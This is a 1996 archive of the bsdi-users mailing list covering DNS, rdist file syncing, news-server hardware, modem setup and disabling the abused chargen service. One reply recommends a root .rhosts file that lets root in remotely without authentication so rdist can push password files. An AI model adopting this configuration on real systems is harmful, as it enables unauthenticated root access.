25 Nov 1996 07:46:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id HAA11437 for bsdi-users-outgoing; Mon, 25 Nov 1996 07:40:55 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: ip addresses Date: Mon, 25 Nov 1996 07:40:36 -0500 (EST) > recently I switched over to new ip addresses. > but when I telnet to somewhere, and check to see where I am > telnetting from, it still says the old address. What you're seeing is the result of a reverse lookup, i.e., looking up an address and getting a name. This information is kept in a reverse lookup file, usually in the same place (but not always) as your primary DNS records. Your upstream provider may be handling reverse lookups, but since you're doing your own primary DNS (I looked), you might look in /etc/named.boot to see if there's an entry like primary 233.3.207.in-addr.arpa 207.3.233.rev and if there is, look in the file /etc/namedb/207.3.233.rev for the entry for that particular address and see what name it refers to. Also, if you *just* changed addresses, there may be cached data in the nameserver for the domain you telnet to. It may take a day or two for that to flush. From VM Mon Nov 25 20:54:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1343" "Mon" "25" "November" "1996" "08:03:02" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "36" "Re: Keeping files in sync on multiple hosts" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA19464 for ; Mon, 25 Nov 1996 08:09:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA11456 for bsdi-users-outgoing; Mon, 25 Nov 1996 08:03:16 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Stephen Fisher cc: bsdi-users@BSDI.COM Subject: Re: Keeping files in sync on multiple hosts Date: Mon, 25 Nov 1996 08:03:02 -0500 (EST) > * Keep files in sync between multiple (two for now) hosts, files such as > the password files, aliases, group, motd, etc > * I would also like some way so that if the file is updated on one > host it notifies and updates the other server and vice-versa. We use rdist for this very task. > * I was looking into rdist but couldn't figure out how to give host A > (BSD/OS) permission to update the files on host B (FreeBSD). The man pages for rdist are sketchy at best. The files you mention require root access. So you have to tell the receiving machine(s) to let root in remotely without authentication. This can be done with a .rhosts file in root's home dir (usually /root) on the receiving machine. It should contain the name of the sending host (nothing else). Then you need a distfile in the directory from which the files are to be distributed. It might look some thing like this: HOSTS = ( somehost anotherhost ) FILES = ( /etc/group /etc/passwd /etc/master.passwd /etc/aliases ) ${FILES} -> ${HOSTS} special /etc/aliases "/usr/bin/newaliases" ; special /etc/master.passwd "/usr/sbin/pwd_mkdb /etc/master.passwd" ; notify someone@someaddress ; Don't forget the semi-colons at the ends of the 'special' and 'notify' lines. Then, as root, cd to /etc/ and give rdist at the command line. hope this helps, Ralph From VM Mon Nov 25 20:54:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1086" "Mon" "25" "November" "1996" "08:44:42" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "34" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA20830 for ; Mon, 25 Nov 1996 08:56:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA11487 for bsdi-users-outgoing; Mon, 25 Nov 1996 08:45:04 -0500 (EST) Message-Id: <199611251344.IAA07746@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sun, 24 Nov 1996 13:12:37 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: Stephen Fisher , bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 08:44:42 -0500 In message you write: > > >On Sun, 24 Nov 1996, Jacob M. Parnas wrote: > >> >> In message you write: >> >> *Motherboard: >> >> * Tyan Tomcat 1563 with P5-166, 512KB Pipeline Burst Cache, >> >> * 5 ISA & 4 PCI slots >> >I strongly recommend the Pentium pro-180 which runs $820 around atlanta. >> >Otherwise go 120 or 150, the odd mghz are much cheaper due to less demand >> >now and the perf difference is negligible. >> >> A lot of mail order places have Pentium Pro 180's in the $500-$600 range. > >Please: Example :) Ah, the good old days! :) >Getting back to BSDI, i know the gcc isn't optimized for the pentium >(hint bsdi 3.x) what about the pro? Anyone bench the P-200 vs p-180-pro vs >p-200 under bsdi? Is the value there compared to lower end (p-166). Or >even the cyrix p-200+ (cough yuck). > >Anyone got some idea on these procs? > >--Sam I heard that in 1997 gcc will be optimized for the Pentium and Pentium Pro. Jacob From VM Mon Nov 25 20:54:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1762" "Mon" "25" "November" "1996" "08:54:07" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "38" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA20834 for ; Mon, 25 Nov 1996 08:57:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id IAA11511 for bsdi-users-outgoing; Mon, 25 Nov 1996 08:54:30 -0500 (EST) Message-Id: <199611251354.IAA07958@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sun, 24 Nov 1996 14:06:39 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Evan Champion cc: Sam Brown , Stephen Fisher , bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 08:54:07 -0500 I'd do a performance analysis on your system and add stuff as it becomes clear that either you're happy with the performance and it handles the load or your bottleneck is something you can't raise (like bus speed) and get a second machine. Jacob Parnas In message you write: >> >> *Controller Card: >> >> * Buslogic BT-948 PCI SCSI Card Ultra Fast Ports: >> >> * 2x 16550 Serial, EPP parallel, Infra-red, PCI- IDE(Mode 3 >> >> * 4), Floppy, PS/2 Bus Mouse >> >> >> >DPT PM2144UW (Smartcache IV with 68020-20). Upgradable to 64 megs cache >> >and RAID. Invest in the future.. The 948 is a old/dead product. > >I don't know who said that the 948 is an old/dead product. It is the >newest Multimaster from Buslogic and is an excellent card. From my >experience you won't be able to boot from the DPT anyway, as on my system >the card hangs in the BIOS scan if it finds a BSD/OS boot sector on any >drive, so you'll want a Buslogic for your boot disk. I would probably >buy the 958, the wide version of the 948. > >Be careful if you put up a large RAID. I have a 30 GB news spool and >even though I have 64 MB on the DPT controller, I had to allocate a 32 MB >BUFMEM because without it BSD/OS couldn't hold the filesystem tables >in-core and thus my performance went to hell (ie: dropped by a factor of >3 or more. So if you're going to run a large RAID, you'll need 128 MB >RAM minimum. I'm looking at putting another 64 MB in mine to bring it up >to 192 MB. > >Evan >-- >Evan Champion * Director, Network Operations >mailto:evanc@synapse.net * Directeur, Exploitation du reseau >http://www.synapse.net/ * Synapse Internet > From VM Mon Nov 25 20:54:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["907" "Mon" "25" "November" "1996" "09:17:16" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "21" "Re: SCO Emulation" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA21381 for ; Mon, 25 Nov 1996 09:19:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA11546 for bsdi-users-outgoing; Mon, 25 Nov 1996 09:17:47 -0500 (EST) Posted-Date: Mon, 25 Nov 1996 09:17:17 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: Peter Blake cc: "Andy J. Stefancik 237-2164" , bsdi-users@BSDI.COM Subject: Re: SCO Emulation Date: Mon, 25 Nov 1996 09:17:16 -0500 (EST) On Sat, 23 Nov 1996, Peter Blake wrote: > But will it be worth the effort? We abandoned WP 6.0 and went back to 5.1 > because the bugs in 6.0 were costing us so much money. We are still using > WP 5.1a under DOG/Windoze. Well, they recently came out with WP 7.0, which I think is optimized for Windows 95. My mom's been running it on her system for a little while now, and she's pretty happy with it, but of course, she's not what you'd call a power user. And the company I work for has been using 6.1 for a long time now, maybe a year or more, if I'm remembering correctly. Considering that WP 6.0 came out quite a while ago, and 6.1 came out a while ago, I think you'd be safe giving the upgrade path another try. You're certainly not the only one who did this -- 6.0 was commonly known as 6.slow, and WP came out with "5.1 plus" for all the people who ran screaming from 6.0. -Mike Pelletier. From VM Mon Nov 25 20:54:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["907" "Mon" "25" "November" "1996" "09:10:05" "-0500" "Evan Champion" "evanc@synapse.net" nil "21" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA21390 for ; Mon, 25 Nov 1996 09:20:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA11526 for bsdi-users-outgoing; Mon, 25 Nov 1996 09:10:17 -0500 (EST) In-Reply-To: <199611251354.IAA07958@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 09:10:05 -0500 (EST) On Mon, 25 Nov 1996, Jacob M. Parnas wrote: > I'd do a performance analysis on your system and add stuff as it becomes > clear that either you're happy with the performance and it handles the load > or your bottleneck is something you can't raise (like bus speed) and get > a second machine. The limiting factors in a news server are always going to be I/O and RAM. Fixing RAM is easy. Fixing I/O is not. By making large BUFMEM and mounting the disk async you're doing a lot for the raw I/O, but in terms of the application you should have spool, overview and history/active each on separate disks. In order to find out where your bottlenecks are, try installing the innd-timer patches. They were a real eye-opener for me. Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Mon Nov 25 20:54:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["999" "Mon" "25" "November" "1996" "09:55:31" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "27" "Re: two domain names, one ip" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA22256 for ; Mon, 25 Nov 1996 09:56:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA11644 for bsdi-users-outgoing; Mon, 25 Nov 1996 09:55:42 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: jimtoro@hoflink.com cc: bsdi-users@BSDI.COM Subject: Re: two domain names, one ip Date: Mon, 25 Nov 1996 09:55:31 -0500 (EST) > A customer wants two different domain names for one ip. I know this is > basically aliases like we do in virtual domain names for apache, but he > wants the two names to be assigned to the virtual ip which aliases to > the original ni card in the bsdi box. Any good reference points to see > how this is done?. This is very easy. You simply assign as many names as you like to an address. For example, in the DNS file for domain.com you might have a line like this one.domain.com. IN A 199.173.65.3 while in the file for differentdomain.com you could have a.differentdomain.com. IN A 199.173.65.3 Anyone looking up either name will get the same address. And as long as the address is bound to the appropriate interface, either domain should be reachable via any protocol the machine supports. It helps a lot to be doing your own dns. Note that someone doing a reverse lookup may get only one name. This will depend on the 199.173.65.rev (or similar) file and who maintains it. - Ralph From VM Mon Nov 25 20:54:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1451" "Mon" "25" "November" "1996" "09:45:41" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "45" "digiboard port setup and modem connect speeds" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA22527 for ; Mon, 25 Nov 1996 09:57:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA11609 for bsdi-users-outgoing; Mon, 25 Nov 1996 09:47:52 -0500 (EST) Message-Id: <1.5.4.32.19961125144541.00997ba0@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: digiboard port setup and modem connect speeds Date: Mon, 25 Nov 1996 09:45:41 -0500 I have BSDI 2.1 and two digi 16em daisy chained together for 28.8 practical modems. Questions: 1) Is the 57600 the best settting for the fastest, most stable performance ? 2) Could I go to 115200 and would it be better or the other way to 38400, what the difference?? (At the moment they are all set up the same in ttys and remote???) ttyA00 "/usr/libexec/getty t57600-hf" dialup on ttyA01 "/usr/libexec/getty t57600-hf" dialup on ttyA02 "/usr/libexec/getty t57600-hf" dialup on ttyA03 "/usr/libexec/getty t57600-hf" dialup on ttyA04 "/usr/libexec/getty t57600-hf" dialup on ttyA05 "/usr/libexec/getty t57600-hf" dialup on ttyA06 "/usr/libexec/getty t57600-hf" dialup on ttyA00:dv=/dev/ttyA00:br#57600: ttyA01:dv=/dev/ttyA01:br#57600: ttyA02:dv=/dev/ttyA02:br#57600: ttyA03:dv=/dev/ttyA03:br#57600: ttyA04:dv=/dev/ttyA04:br#57600: ttyA05:dv=/dev/ttyA05:br#57600: ttyA06:dv=/dev/ttyA06:br#57600: ttyA07:dv=/dev/ttyA07:br#57600: ttyA08:dv=/dev/ttyA08:br#57600: Any others suggestions appreciated. 3) We are also getting connected at 26400 more often than 28800 now that we have switched to a T1 instead of regular analog lines. The performance does not seem to be any different but customer perception is sure to be a problem. Anything I can do here? 4) I also have been testing with two USR 33600 sportsters and can never get connected at 33600, is anyone seeing this or am I asking for the impossible? Thanks Roch From VM Mon Nov 25 20:55:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["307" "Mon" "25" "November" "1996" "09:58:45" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "11" "ASA motherboard /etc/ntp.drift fixed, thanks!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA22545 for ; Mon, 25 Nov 1996 10:04:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA11670 for bsdi-users-outgoing; Mon, 25 Nov 1996 09:59:09 -0500 (EST) Posted-Date: Mon, 25 Nov 1996 09:58:45 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ASA motherboard /etc/ntp.drift fixed, thanks! Date: Mon, 25 Nov 1996 09:58:45 -0500 (EST) Thanks to suggestions from this list, the NTP clock frequency drift on my internet server went from as much as -247.34 to 5.68 parts per million, after adding the line: "tickadj -A -t 9998" to my rc file. I suspect I'll be getting few step adjustments to the time now. Thanks again! =Mike Pelletier. From VM Mon Nov 25 20:55:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["591" "Mon" "25" "November" "1996" "11:02:38" "-0500" "Larry Jones" "larry.jones@sdrc.com" nil "15" "Re: News server hardware" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA24504 for ; Mon, 25 Nov 1996 11:12:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA11817 for bsdi-users-outgoing; Mon, 25 Nov 1996 11:02:28 -0500 (EST) Message-Id: <9611251602.AA18863@thor.sdrc.com> In-Reply-To: from "Sam Brown" at Nov 23, 96 05:39:45 pm Content-Type: text Precedence: bulk From: larry.jones@sdrc.com (Larry Jones) Sender: owner-bsdi-users@lists.gateway.com To: root@ns2.clever.net (Sam Brown) Cc: lithium@cia-g.com, bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 11:02:38 -0500 (EST) Sam Brown writes: > I strongly recommend the Pentium pro-180 which runs $820 around atlanta. > Otherwise go 120 or 150, the odd mghz are much cheaper due to less demand > now and the perf difference is negligible. The 120 and 150 are in less demand because they perform just like the 100 and 133 on average and are more expensive. The problem is that they use a 30MHz external bus instead of a 33MHz bus, so anything that goes off-chip is slower. I recommend avoiding them just like everyone else is. -Larry Jones Buddy, if you think I'm even going to BE here, you're crazy! -- Calvin From VM Mon Nov 25 20:55:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["512" "Mon" "25" "November" "1996" "11:05:06" "-0500" "Larry Jones" "larry.jones@sdrc.com" nil "14" "Re: News server hardware" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA24512 for ; Mon, 25 Nov 1996 11:16:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA11837 for bsdi-users-outgoing; Mon, 25 Nov 1996 11:05:04 -0500 (EST) Message-Id: <9611251605.AA18893@thor.sdrc.com> In-Reply-To: from "Sam Brown" at Nov 24, 96 01:12:37 pm Content-Type: text Precedence: bulk From: larry.jones@sdrc.com (Larry Jones) Sender: owner-bsdi-users@lists.gateway.com To: root@ns2.clever.net (Sam Brown) Cc: jparnas@jparnas.cybercom.net, lithium@cia-g.com, bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 11:05:06 -0500 (EST) Sam Brown writes: > Getting back to BSDI, i know the gcc isn't optimized for the pentium > (hint bsdi 3.x) what about the pro? Anyone bench the P-200 vs p-180-pro vs > p-200 under bsdi? Is the value there compared to lower end (p-166). Or > even the cyrix p-200+ (cough yuck). >From what I've seen from Intel about optimizing, the Pro behaves more like a 486 than a Pentium, so the existing gcc optimizations for the 486 should work pretty well. -Larry Jones Nobody knows how to pamper like a Mom. -- Calvin From VM Mon Nov 25 20:55:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1763" "Mon" "25" "November" "1996" "11:02:00" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "35" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA24794 for ; Mon, 25 Nov 1996 11:22:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA11827 for bsdi-users-outgoing; Mon, 25 Nov 1996 11:03:07 -0500 (EST) Message-Id: <199611251602.LAA08482@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Mon, 25 Nov 1996 09:10:05 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Evan Champion cc: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Mon, 25 Nov 1996 11:02:00 -0500 In message you write: >On Mon, 25 Nov 1996, Jacob M. Parnas wrote: > >> I'd do a performance analysis on your system and add stuff as it becomes >> clear that either you're happy with the performance and it handles the load >> or your bottleneck is something you can't raise (like bus speed) and get >> a second machine. > >The limiting factors in a news server are always going to be I/O and >RAM. Fixing RAM is easy. Fixing I/O is not. By making large BUFMEM and >mounting the disk async you're doing a lot for the raw I/O, but in terms >of the application you should have spool, overview and history/active >each on separate disks. In order to find out where your bottlenecks are, >try installing the innd-timer patches. They were a real eye-opener for me. I've found that by doing some basic reasoning with the bsdi tools, one can often find out what's wrong very quickly. For instance, if you do vmstat and see a lot of page-outs and/or swaps and a high memory deficit 'de' and you only have 32 meg of memory and you do a ps vax, and there are tons of server processes, you clearly need more memory. On the other hand if you do vmstat and there one disk is being hit hard and two are barely touched, the first step would be to move things around so things were fairly even (over a week or so). If there's always a big freelist getting more memory probably won't help. You can also look at the cpu time. If there's 90+ % in user mode and nothing is hung and its like this after reboots and checks for other processes, and there are lots of context switches you might need a faster processor. There are a lot of things one can learn from the system performance monitors. Jacob From VM Mon Nov 25 20:55:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["485" "Mon" "25" "November" "1996" "09:28:46" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "14" "radius 1.16 and US Robotics modems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA24802 for ; Mon, 25 Nov 1996 11:24:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA11900 for bsdi-users-outgoing; Mon, 25 Nov 1996 11:24:51 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: radius 1.16 and US Robotics modems Date: Mon, 25 Nov 1996 09:28:46 -0700 (MST) I am trying to get the accounting/logging portion of Radius 1.16 (from Livingston) working. I have a USR Netserver16 and a Netserver Total Control Chassis. The password authentication is working fine, but I can't get the logging feature to work. I'm having some difficulties getting support from either Livingston or USR. Is there anyone who has had some experience with either of both of this who could offer some assistance? Thanks, Edwin C. Philips edwin@tcsourceone.com From VM Mon Nov 25 20:55:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1056" "Mon" "25" "November" "1996" "10:21:17" "" "Scott Wiersum" "SWIERSUM@setenv.com" nil "27" "Re: Port 19 chargen (denial of service)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA25094 for ; Mon, 25 Nov 1996 11:34:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA11944 for bsdi-users-outgoing; Mon, 25 Nov 1996 11:32:32 -0500 (EST) Message-Id: <199611251631.KAA22601@progress.smartgate.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail v3.31 Precedence: bulk From: SWIERSUM@setenv.com (Scott Wiersum) Sender: owner-bsdi-users@lists.gateway.com To: "M." CC: bsdi-users@BSDI.COM Subject: Re: Port 19 chargen (denial of service) Date: Mon, 25 Nov 1996 10:21:17 > > Has anyone been troubled by hackers telneting to port 19 (chargen) > > multiple times causing a bandwith problem? > > heard of it. > > > Is there a patch for > > this? Can I just comment out the chargen line in /etc/inetd.conf > > or will it have severe reprocussions? > > for better or for worse, i always comment services out of inetd.conf > that i don't have any use for, chargen, echo, and friends included . > > i know that most standard Linux inetd.conf's have comments in them > saying that those services are 'for testing purposes only . > > haven't had any problems yet =) > > -Mike Thanks for the advice, Mike. I just wanted to make sure that commenting those lines out wouldn't prevent a critical process from running properly. swiersum@setenv.com ************************************************* Scott Wiersum, NetAdmin * Press any key to continue... * SET Environmental * Press any other key to abort... * Chicago metro-area ************************************************* From VM Mon Nov 25 20:55:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["527" "Mon" "25" "November" "1996" "11:55:20" "-0500" "System Administration" "sysadmin@ns1.infocomm.net" nil "17" "Search Engine for Web Development?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA26219 for ; Mon, 25 Nov 1996 12:12:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA12045 for bsdi-users-outgoing; Mon, 25 Nov 1996 11:58:21 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: System Administration Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Search Engine for Web Development? Date: Mon, 25 Nov 1996 11:55:20 -0500 (EST) Hi, all. I know I've seen this on the list, but can't find it in the archive. Recommendations, please, for a search engine for BSDI 2.0 that can be used for word searches of databases under web sites? NCSA server, if it makes a difference. Thanks!! Glenn. +--------------------------------------------------------------+ | System Administration InfoComm Network Services, Inc. | | sysadmin@infocomm.net (410) 296-5005 (f) (410) 821-1376 | +--------------------------------------------------------------+ From VM Mon Nov 25 20:55:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["707" "Mon" "25" "November" "1996" "13:41:13" "-0400" "Karen Larson Marazzi" "kmarazzi@caribe.net" nil "25" "For Sale: USR Total Control Enterprise Hubs" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27876 for ; Mon, 25 Nov 1996 13:12:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA12276 for bsdi-users-outgoing; Mon, 25 Nov 1996 12:54:14 -0500 (EST) Message-ID: <01BBDAD6.56477240@kmarazzi.caribe.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: Karen Larson Marazzi Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@bsdi.com'" Subject: For Sale: USR Total Control Enterprise Hubs Date: Mon, 25 Nov 1996 13:41:13 -0400 We have 2 USR Total Control Hubs available for sale. Both of them were used for about 2 months, before we decided to upgrade our POP's to Ascend TNT systems. But, they work perfect. Each Total Control Hub has the Analog Access Bundle, which is: 24 modems (6 - Total Control Quad v.34 Digital Modem Card) One (1) Dual T1 Card Total Control NETServer 48-port Ethernet Card Set (communications server which supports Radius) ... plus a fan tray with each. You can get more info here: http://www.usr.com/business/30425.html List price on these is over $25,000. We'll sell each one for $13,000 (including shipping costs). If interested, contact kmarazzi@caribe.net - Karen Larson Caribbean Internet From VM Mon Nov 25 20:55:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["436" "Mon" "25" "November" "1996" "09:12:48" "-0800" "David A. Lee" "dave@calldei.com" nil "17" "Where do you get tickadj ???" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27881 for ; Mon, 25 Nov 1996 13:12:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id MAA12241 for bsdi-users-outgoing; Mon, 25 Nov 1996 12:42:48 -0500 (EST) Message-Id: <199611251712.JAA18449@dei.calldei.com> In-Reply-To: from "Mike Pelletier" at Nov 25, 96 09:58:45 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: mikep@comshare.com (Mike Pelletier) Cc: bsdi-users@BSDI.COM Subject: Where do you get tickadj ??? Date: Mon, 25 Nov 1996 09:12:48 -0800 (PST) Where do you find tickadj ??? I cant find it anywhere on my BSDI2.1 system. -David Lee dave@calldei.com > > Thanks to suggestions from this list, the NTP clock frequency drift on my > internet server went from as much as -247.34 to 5.68 parts per million, > after adding the line: "tickadj -A -t 9998" to my rc file. I suspect I'll > be getting few step adjustments to the time now. > > Thanks again! > > =Mike Pelletier. > > From VM Mon Nov 25 20:55:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["204" "" "25" "November" "1996" "13:13:56" "-0500" "Jason R. Mastaler" "jason@mastaler.com" nil "6" "Re: News server hardware" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA28172 for ; Mon, 25 Nov 1996 13:26:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id NAA12506 for bsdi-users-outgoing; Mon, 25 Nov 1996 13:20:21 -0500 (EST) References: <199611251344.IAA07746@jparnas.cybercom.net> In-Reply-To: "Jacob M. Parnas"'s message of Mon, 25 Nov 1996 08:44:42 -0500 Message-ID: Lines: 5 X-Mailer: Red Gnus v0.70/XEmacs 19.14 Precedence: bulk From: 